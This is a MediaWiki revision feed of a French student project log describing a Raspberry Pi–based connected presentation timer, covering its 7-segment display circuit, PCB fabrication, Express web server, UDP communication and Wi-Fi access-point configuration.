Pendant cette séance, nous avons également établit une liste du matériel que nous utiliserons : une Raspberry pi pour faire tourner le serveur accessible en wifi, un transformateur 230VAC vers 5VDC pour alimenter la Raspberry, des afficheurs 7-segments, et un driver de leds pour utiliser le moins de sortie possible.&lt;br /&gt;
&lt;br /&gt;
==Séance 2==&lt;br /&gt;
&lt;br /&gt;
===Structuration du projet===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, des afficheurs 7-segments nous ont été fournis. Cependant, ils présentent la particularité d'être alimenté avec 12V. Les alimenter directement par la Raspberry qui elle peut fournir 5V n'est donc pas possible. &lt;br /&gt;
&lt;br /&gt;
Nous anons essayé de trouver une solution pour le contrôle des LED. Nous en avons retenu deux : &lt;br /&gt;
&lt;br /&gt;
- Utiliser des pilotes de LED [http://www.ti.com/lit/ds/symlink/tlc5947.pdf TLC5947] &lt;br /&gt;
&lt;br /&gt;
- Utiliser des transistors&lt;br /&gt;
&lt;br /&gt;
Nous avons alors décidé de partir sur les pilotes de LED pour plus de simplicité, ces derniers gérant eux mêmes le courant fournis aux LED. Après avoir pris cette décision, nous avons débuté la conception de la carte sous Eagle. Nous avons choisi ce logiciel car les toutes les footprint des composants utilisés sont disponibles sur le net.&lt;br /&gt;
&lt;br /&gt;
Nous avons également pu trouver des bibliothèques python pour utiliser le pilote de leds, et commencer le programme. Nous utiliserons deux pilotes de leds en cascade que nous contrôlerons avec 3 GPIO de la Raspberry. Nous avons également prévu de rajouter un ATMega328p qui pourra lui aussi contrôler les pilotes si on modifie la position de trois jumper. L'ATMega sera relié à la Raspberry en série pour qu'il puissent être programmé à travers elle.&lt;br /&gt;
&lt;br /&gt;
Pour alimenter le device, nous avons ajouté à notre liste de matériel un transformateur 230VAC vers 12VDC pour alimenter les leds ainsi qu'un régulateur 12VDC vers 5VDC pour alimenter la Raspberry (2A). Ensuite la Raspberry se chargera d'alimenter les pilote de leds et l'ATMega328p.&lt;br /&gt;
&lt;br /&gt;
==Séance 3==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
Durant cette séance nous avons finalisé le routage de la carte électronique suivant le circuit précédemment définit, et nous avons installé les librairies nécessaire à la programmation des pilotes de leds.&lt;br /&gt;
&lt;br /&gt;
Nous avons également testé les 7-segments qui nous ont été fournit, et nous nous sommes rendus compte qu'ils étaient à cathode commune et donc fonctionnaient différemment de ce qui était indiqué sur la datasheet. Cela pose un problème puisque les pilotes de LED dont nous disposons ne sont pas compatibles avec cette configuration. Nous avons donc du nous tourner vers l'autre solution pour le contrôle des leds, celle avec les transistors. Disposant de 4 afficheurs à 7segments (+ le point), les GPIO de la Raspberry ne sont pas assez nombreux, nous avons donc du utiliser des registre à décalage pour contrôler toutes les sorties.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors passé cette séance à étudier les datasheet des différents composants et à établir un nouveau schéma pour la carte.&lt;br /&gt;
&lt;br /&gt;
Les afficheurs 7-segments de devant ayant à afficher la même chose que ceux de derrière, nous les connecterons entre eux afin réduire de moitié la quantité de composants à utiliser.&lt;br /&gt;
&lt;br /&gt;
===programme Raspberry===&lt;br /&gt;
&lt;br /&gt;
Durant cette séance, nous avons également pensé au soft qui sera embarqué dans la Raspberry. Nous avions décidé de configurer la Raspberry en accesspoint WiFi et de faire tourner un serveur web qui sera accessible lorsque l'utilisateur se connectera au WiFi de la Raspberry. En parallèle, un autre programme tournera sur la Raspberry et s'occupera du calcul du Timer et du contrôle des leds. Pour que le programme puisse communiquer avec le serveur nous avons plusieurs solutions à étudier : IPC, socket, écriture/lecture dans des fichiers.&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû nous renseigner sur son fonctionnement et nous documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
&lt;br /&gt;
==Séance 4==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, nous avons pu terminer la carte. Le schematic final est le suivant : &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:SchematicP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le PCB est le suivant : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RoutageP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
==Séance 5==&lt;br /&gt;
&lt;br /&gt;
===Gravure de la carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir récupéré la carte gravée, nous nous sommes rendu compte qu'il y avait eu un problème de perçage. En effet, certains trous non présents sur le schéma de routage se trouvaient la carte, d'autres n'étaient pas du tout présent ou alors pas à la bonne place. Pourtant, nous n’apercevions aucun problème lors de la vérification des fichiers gerber avec http://www.gerber-viewer.com/. Nous avons alors passé pas mal de temps à rechercher la cause du problème avec Monsieur Flamen. Finalement, le problème provenait de la génération des fichiers gerber. Après avoir corrigé le problème, la carte a pu être regravée correctement.&lt;br /&gt;
&lt;br /&gt;
===Configuration de la raspberry pi===&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;br /&gt;
&lt;br /&gt;
===Programme Raspberry===&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance nous avons également finalisé le programme de la Raspberry et installé les librairies permettant d'utiliser le registre à décalage et les GPIO &amp;lt;code&amp;gt;WiringPi&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans ce programme, après les initialisations, une socket UDP est créée pour recevoir la valeur initiale du Timer depuis le serveur web. La socket est par la suite fermée et le message reçu converti en entier. Puis deux threads sont lancés : Le premier qui permet le calcul du Timer en se basant sur la valeur initiale et en utilisant l'horloge physique de la Raspberry (fonction : &amp;lt;code&amp;gt;clock_gettime(CLOCK_REALTIME, &amp;amp;&amp;lt;timespec&amp;gt;);&amp;lt;/code&amp;gt;), le deuxième thread contrôle les 7-segements après l'avoir parsé en unités et dizaines. Les deux threads communiquent entre eux avec un pipe et un système de verrou pour synchroniser l'envoi et la réception. Finalement les threads et le pipe sont fermés proprement.&lt;br /&gt;
&lt;br /&gt;
Ce programme affiche les valeurs supérieures à 99 secondes en minutes et celle inférieures à 99 secondes en seconde. Le programme et disponible sur le git : https://github.com/ael-mess/raspberry-pi-timer/blob/master/pi.c&lt;br /&gt;
&lt;br /&gt;
==Séance 6==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons combiner les deux programmes, et automatiser leurs lancement. Nous avons crée un script shell qui lance le serveur web, puis dans une boucle infini lance le Timer puis supprime les fichiers .json du controllers du serveur web à la fin de chaque timer. Ce script à était mis dans &amp;lt;code&amp;gt;/etc/.rclocal&amp;lt;/code&amp;gt; de la Raspberry en tache de fond, pour qu'il puissent être lancer à chaque allumage de la Raspberry même avant le loging.&lt;br /&gt;
&lt;br /&gt;
===Test===&lt;br /&gt;
&lt;br /&gt;
Pendant cette dernière séance nous avons également souder une partie de nos composants pour faire des tests. Le test de la partie électronique à révéler un comportement anormal du circuit : des segments de leds restent allumer sans que aucune tension sur la base des transistors ne soit appliquée. Nous nous sommes assuré de corriger toutes les erreurs de soudure/contact mais nous n'avions pas pu trouver la source du problème. L’hypothèse qui ont était émise est que la carte n'aillant pas était nettoyé avant la soudure, le contact n'était pas pareil pour tous les composants, et du coup le potentiel entre deux points reliées n'était pas identique (M.Thierry Flamen).&lt;br /&gt;
&lt;br /&gt;
La partie logiciel elle, marche très bien sans aucun comportement anormal.&lt;br /&gt;
&lt;br /&gt;
===Amélioration si plus temps===&lt;br /&gt;
&lt;br /&gt;
- prendre plus de temps pour réaliser et tester la partie hardware.&lt;br /&gt;
&lt;br /&gt;
- utiliser la socket pour l'envoie de chaque valeur du timer et non que pour la valeur initial. (parce que le timer calculer par le serveur web utilise la date de la Raspberry et n'est pas précis)&lt;br /&gt;
&lt;br /&gt;
==Flyer==&lt;br /&gt;
[[Fichier:Flyer timer iot.jpeg|800px|center]]&lt;br /&gt;
&lt;br /&gt;
=Documents rendus=&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49612</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49612"/>
				<updated>2019-01-26T18:22:12Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Séance 1==&lt;br /&gt;
&lt;br /&gt;
===Recherche d'un sujet et clarification du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes : &lt;br /&gt;
&lt;br /&gt;
- Une application mobile permettra de contrôler le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est un membre du jury, il pourra modifier le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer&lt;br /&gt;
&lt;br /&gt;
- Un système de vote sera disponible à partir de l'application&lt;br /&gt;
&lt;br /&gt;
- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera&lt;br /&gt;
&lt;br /&gt;
- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance, nous avons également établit une liste du matériel que nous utiliserons : une Raspberry pi pour faire tourner le serveur accessible en wifi, un transformateur 230VAC vers 5VDC pour alimenter la Raspberry, des afficheurs 7-segments, et un driver de leds pour utiliser le moins de sortie possible.&lt;br /&gt;
&lt;br /&gt;
==Séance 2==&lt;br /&gt;
&lt;br /&gt;
===Structuration du projet===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, des afficheurs 7-segments nous ont été fournis. Cependant, ils présentent la particularité d'être alimenté avec 12V. Les alimenter directement par la Raspberry qui elle peut fournir 5V n'est donc pas possible. &lt;br /&gt;
&lt;br /&gt;
Nous anons essayé de trouver une solution pour le contrôle des LED. Nous en avons retenu deux : &lt;br /&gt;
&lt;br /&gt;
- Utiliser des pilotes de LED [http://www.ti.com/lit/ds/symlink/tlc5947.pdf TLC5947] &lt;br /&gt;
&lt;br /&gt;
- Utiliser des transistors&lt;br /&gt;
&lt;br /&gt;
Nous avons alors décidé de partir sur les pilotes de LED pour plus de simplicité, ces derniers gérant eux mêmes le courant fournis aux LED. Après avoir pris cette décision, nous avons débuté la conception de la carte sous Eagle. Nous avons choisi ce logiciel car les toutes les footprint des composants utilisés sont disponibles sur le net.&lt;br /&gt;
&lt;br /&gt;
Nous avons également pu trouver des bibliothèques python pour utiliser le pilote de leds, et commencer le programme. Nous utiliserons deux pilotes de leds en cascade que nous contrôlerons avec 3 GPIO de la Raspberry. Nous avons également prévu de rajouter un ATMega328p qui pourra lui aussi contrôler les pilotes si on modifie la position de trois jumper. L'ATMega sera relié à la Raspberry en série pour qu'il puissent être programmé à travers elle.&lt;br /&gt;
&lt;br /&gt;
Pour alimenter le device, nous avons ajouté à notre liste de matériel un transformateur 230VAC vers 12VDC pour alimenter les leds ainsi qu'un régulateur 12VDC vers 5VDC pour alimenter la Raspberry (2A). Ensuite la Raspberry se chargera d'alimenter les pilote de leds et l'ATMega328p.&lt;br /&gt;
&lt;br /&gt;
==Séance 3==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
Durant cette séance nous avons finalisé le routage de la carte électronique suivant le circuit précédemment définit, et nous avons installé les librairies nécessaire à la programmation des pilotes de leds.&lt;br /&gt;
&lt;br /&gt;
Nous avons également testé les 7-segments qui nous ont été fournit, et nous nous sommes rendus compte qu'ils étaient à cathode commune et donc fonctionnaient différemment de ce qui était indiqué sur la datasheet. Cela pose un problème puisque les pilotes de LED dont nous disposons ne sont pas compatibles avec cette configuration. Nous avons donc du nous tourner vers l'autre solution pour le contrôle des leds, celle avec les transistors. Disposant de 4 afficheurs à 7segments (+ le point), les GPIO de la Raspberry ne sont pas assez nombreux, nous avons donc du utiliser des registre à décalage pour contrôler toutes les sorties.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors passé cette séance à étudier les datasheet des différents composants et à établir un nouveau schéma pour la carte.&lt;br /&gt;
&lt;br /&gt;
Les afficheurs 7-segments de devant ayant à afficher la même chose que ceux de derrière, nous les connecterons entre eux afin réduire de moitié la quantité de composants à utiliser.&lt;br /&gt;
&lt;br /&gt;
===programme Raspberry===&lt;br /&gt;
&lt;br /&gt;
Durant cette séance, nous avons également pensé au soft qui sera embarqué dans la Raspberry. Nous avions décidé de configurer la Raspberry en accesspoint WiFi et de faire tourner un serveur web qui sera accessible lorsque l'utilisateur se connectera au WiFi de la Raspberry. En parallèle, un autre programme tournera sur la Raspberry et s'occupera du calcul du Timer et du contrôle des leds. Pour que le programme puisse communiquer avec le serveur nous avons plusieurs solutions à étudier : IPC, socket, écriture/lecture dans des fichiers.&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû nous renseigner sur son fonctionnement et nous documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
&lt;br /&gt;
==Séance 4==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, nous avons pu terminer la carte. Le schematic final est le suivant : &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:SchematicP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le PCB est le suivant : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RoutageP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
==Séance 5==&lt;br /&gt;
&lt;br /&gt;
===Gravure de la carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir récupéré la carte gravée, nous nous sommes rendu compte qu'il y avait eu un problème de perçage. En effet, certains trous non présents sur le schéma de routage se trouvaient la carte, d'autres n'étaient pas du tout présent ou alors pas à la bonne place. Pourtant, nous n’apercevions aucun problème lors de la vérification des fichiers gerber avec http://www.gerber-viewer.com/. Nous avons alors passé pas mal de temps à rechercher la cause du problème avec Monsieur Flamen. Finalement, le problème provenait de la génération des fichiers gerber. Après avoir corrigé le problème, la carte a pu être regravée correctement.&lt;br /&gt;
&lt;br /&gt;
===Configuration de la raspberry pi===&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;br /&gt;
&lt;br /&gt;
===Programme Raspberry===&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance nous avons également finaliser le programme de la Raspberry et installer les librairies qui permettent d'utiliser le registre à décalage et les GPIO &amp;lt;code&amp;gt;WiringPi&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
